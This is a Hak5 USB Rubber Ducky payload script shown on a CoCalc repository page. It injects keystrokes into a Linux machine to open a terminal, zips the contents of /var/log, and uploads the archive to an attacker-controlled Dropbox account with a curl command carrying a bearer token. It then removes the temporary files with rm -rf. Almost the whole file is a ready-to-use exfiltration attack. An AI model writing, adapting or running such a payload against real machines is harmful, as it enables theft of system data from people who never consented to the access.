Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
 Path: blob/master/payloads/library/exfiltration/ExfiltrateLinuxLogFiles/payload.txt
2971 views
1
REM ######################################################

2
REM #                                                    |

3
REM # Title        : Exfiltrate Linux Logs With Dropbox  |

4
REM # Author       : Aleff                               |

5
REM # Version      : 1.0                                 |

6
REM # Category     : Exfiltration, Execution             |

7
REM # Target       : Linux                               |

8
REM #                                                    |

9
REM ######################################################

10


11
REM Requirements:

12
REM     - Internet Connection

13
REM     - Dropbox Account

14
REM     - - DROPBOX_ACCESS_TOKEN

15


16


17
DELAY 1000

18
CTRL-ALT t

19


20
REM Required: Set here your Dropbox access TOKEN

21
DELAY 2000

22
DEFINE TOKEN example

23
STRING ACCESS_TOKEN="

24
STRING TOKEN

25
STRING "

26
ENTER

27


28


29
DELAY 500

30
STRING USER_NAME=$(whoami)

31
ENTER

32


33
REM Create random num

34
DELAY 500

35
STRING RANDOM=$(shuf -i 1-999999999999 -n 1)

36
ENTER

37


38
REM Folder path

39
DELAY 500

40
STRING TMP_FOLDER_PATH=$(mktemp -d -p "/home/$USER_NAME/tmp/" prefix-XXXXXXXXXX)

41
ENTER

42


43
REM Zip path

44
DELAY 500

45
STRING ZIP_NAME="$RANDOM.zip"

46
ENTER

47
DELAY 500

48
STRING ZIP_PATH="$TMP_FOLDER_PATH/$ZIP_NAME"

49
ENTER

50


51
REM Default log path

52
DELAY 500

53
STRING LOG_PATH="/var/log/"

54
ENTER

55


56
DELAY 500

57
STRING zip -r "$ZIP_PATH" "$LOG_PATH"

58
ENTER

59


60
REM Delay of zipping operation - it depends

61
DELAY 10000

62


63
DELAY 500

64
STRING DROPBOX_FOLDER="/$ZIP_NAME"

65
ENTER

66


67
REM Send to Dropbox function

68
DEFINE DROPBOX_API_LINK https://content.dropboxapi.com/2/files/upload

69
DELAY 500

70
STRING curl -X POST 

71
STRING DROPBOX_API_LINK 

72
STRING --header "Authorization: Bearer $ACCESS_TOKEN" --header "Dropbox-API-Arg: {\"path\": \"$DROPBOX_FOLDER\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" --header "Content-Type: application/octet-stream" --data-binary "@$ZIP_PATH"

73
ENTER

74


75
REM Send timing - it depends

76
DELAY 5000

77


78
DELAY 500

79
STRING rm -rf "$TMP_FOLDER_PATH"

80
ENTER

81


82